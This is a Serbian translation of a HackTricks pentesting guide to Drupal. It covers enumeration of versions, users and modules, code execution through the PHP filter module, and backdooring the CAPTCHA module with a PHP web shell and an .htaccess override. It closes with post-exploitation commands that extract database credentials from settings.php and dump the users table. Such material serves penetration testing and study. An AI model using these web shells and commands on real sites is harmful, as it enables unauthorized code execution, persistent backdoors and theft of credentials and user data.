hacktricks/network-services-pentesting/pentesting-web/drupal.md
2024-02-10 13:11:20 +00:00

10 KiB

Drupal

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Otkrivanje

  • Proverite meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Čvor: Drupal indeksira svoj sadržaj koristeći čvorove. Čvor može sadržavati bilo šta, kao što su blog objava, anketa, članak, itd. URI stranica obično ima oblik /node/<nodeid>.
curl drupal-site.com/node/1

Enumeracija

Drupal podrazumevano podržava tri vrste korisnika:

  1. Administrator: Ovaj korisnik ima potpunu kontrolu nad Drupal veb sajtom.
  2. Autentifikovani korisnik: Ovi korisnici mogu se prijaviti na veb sajt i obavljati operacije kao što su dodavanje i uređivanje članaka na osnovu svojih dozvola.
  3. Anonimni: Svi posetioci veb sajta su označeni kao anonimni. Podrazumevano, ovi korisnici imaju samo dozvolu za čitanje objava.

Verzija

  • Proverite /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Novije instalacije Drupal-a po default-u blokiraju pristup datotekama CHANGELOG.txt i README.txt. {% endhint %}

Enumeracija korisničkih imena

Registracija

Na /user/register pokušajte kreirati korisničko ime i ako je ime već zauzeto, bićete obavešteni:

Zahtev za novu lozinku

Ako zatražite novu lozinku za postojeće korisničko ime:

Ako zatražite novu lozinku za nepostojeće korisničko ime:

Dobijanje broja korisnika

Pristupanjem /user/<broj> možete videti broj postojećih korisnika, u ovom slučaju je 2 jer /users/3 vraća grešku "nije pronađeno":

Skrivene stranice

Fuzzujte /node/$ gde je $ broj (od 1 do 500 na primer).
Možete pronaći skrivene stranice (test, dev) koje nisu referencirane od strane pretraživača.

Informacije o instaliranim modulima

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Automatsko

Automatsko skeniranje i ispitivanje Drupal veb aplikacija može biti veoma korisno za otkrivanje ranjivosti i slabosti. Postoje alati kao što su Droopescan i Drupalgeddon koji mogu automatizovati ovaj proces.

Droopescan je alat koji omogućava skeniranje Drupal veb aplikacija kako bi se otkrile ranjivosti. Može se koristiti za pronalaženje verzije Drupal-a, provere poznatih ranjivosti i pronalaženje dodataka koji mogu biti ranjivi.

Drupalgeddon je alat koji je specifično dizajniran za otkrivanje ranjivosti poznate kao "Drupalgeddon". Ova ranjivost omogućava napadačima da izvrše proizvoljan kod na ciljnom sistemu. Alat automatski skenira ciljnu veb aplikaciju i proverava da li je ranjiva na ovu ranjivost.

Automatsko skeniranje i ispitivanje Drupal veb aplikacija može biti brzo i efikasno, ali treba biti oprezan prilikom korišćenja ovih alata. Neophodno je dobiti dozvolu od vlasnika veb aplikacije pre nego što se izvrši skeniranje ili ispitivanje.

droopescan scan drupal -u http://drupal-site.local

RCE

Pomoću PHP Filter modula

{% hint style="warning" %} U starijim verzijama Drupal-a (pre verzije 8) bilo je moguće prijaviti se kao administrator i omogućiti modul PHP filter, koji "Omogućava evaluaciju ugrađenog PHP koda/snippetova." {% endhint %}

Potrebno je da je dodatak php instaliran (proverite pristupom do /modules/php i ako vrati 403, onda postoji, ako nije pronađen, onda dodatak php nije instaliran)

Idite na Modules -> (Proverite) PHP Filter -> Save configuration

Zatim kliknite na Add content -> Izaberite Basic Page ili Article -> Napišite php shellcode u telu -> Izaberite PHP code u Text formatu -> Izaberite Preview

Na kraju samo pristupite novo kreiranom čvoru:

curl http://drupal-site.local/node/3

Instaliranje PHP Filter modula

Od verzije 8 nadalje, modul PHP Filter nije instaliran po defaultu. Da bismo iskoristili ovu funkcionalnost, moramo samostalno instalirati modul.

  1. Preuzmite najnoviju verziju modula sa Drupal veb sajta.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Nakon preuzimanja, idite na Administracija > Izveštaji > Dostupna ažuriranja.
  4. Kliknite na Pregledaj, izaberite fajl iz direktorijuma u koji ste ga preuzeli, a zatim kliknite na **Instaliraj`**.
  5. Kada se modul instalira, možemo kliknuti na Sadržaj i kreirati novu osnovnu stranicu, slično kao što smo uradili u primeru za Drupal 7. Ponovo se uverite da ste izabrali PHP kod iz padajućeg menija Format teksta.

Modul sa zadnjim vratima

Modul sa zadnjim vratima može se kreirati dodavanjem školjke postojećem modulu. Moduli se mogu pronaći na drupal.org veb sajtu. Hajde da izaberemo modul kao što je CAPTCHA. Pomerite se nadole i kopirajte link za tar.gz arhivu.

  • Preuzmite arhivu i izvucite njene sadržaje.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Napravite PHP web shell sa sledećim sadržajem:
<?php
system($_GET["cmd"]);
?>
  • Zatim, trebamo kreirati .htaccess datoteku kako bismo sebi omogućili pristup folderu. Ovo je neophodno jer Drupal zabranjuje direktni pristup folderu /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Konfiguracija iznad će primeniti pravila za fasciklu / kada zahtevamo datoteku u /modules. Kopirajte oba ova fajla u fasciklu captcha i napravite arhivu.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Pretpostavljajući da imamo administrativni pristup veb sajtu, kliknite na Upravljanje a zatim na Proširenja na bočnoj traci. Zatim kliknite na dugme + Instaliraj novo proširenje, i bićemo preusmereni na stranicu za instalaciju, kao što je http://drupal-site.local/admin/modules/install. Pregledajte arhivu sa zakačenim Captcha i kliknite na Instaliraj.
  • Nakon uspešne instalacije, pregledajte /modules/captcha/shell.php da biste izvršili komande.

Post Eksploatacija

Pročitajte settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Dump korisnika iz baze podataka

Da biste izvršili izvlačenje korisnika iz baze podataka, možete koristiti sledeće korake:

  1. Identifikujte ciljnu bazu podataka u Drupalu.
  2. Koristite odgovarajući alat za izvršavanje SQL upita na bazi podataka, kao što je phpMyAdmin ili MySQL komandna linija.
  3. Izvršite sledeći SQL upit kako biste izvukli informacije o korisnicima:
SELECT * FROM users;

Ovaj upit će vam vratiti sve informacije o korisnicima iz tabele "users" u bazi podataka.

  1. Sačuvajte rezultate upita u odgovarajuću datoteku kako biste ih kasnije analizirali.

Napomena: Budite pažljivi prilikom rukovanja ovim informacijama, jer pristup korisničkim podacima može biti nezakonit ili kršiti privatnost korisnika. Uvek se pridržavajte etičkih smernica i zakona prilikom izvršavanja ovih koraka.

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: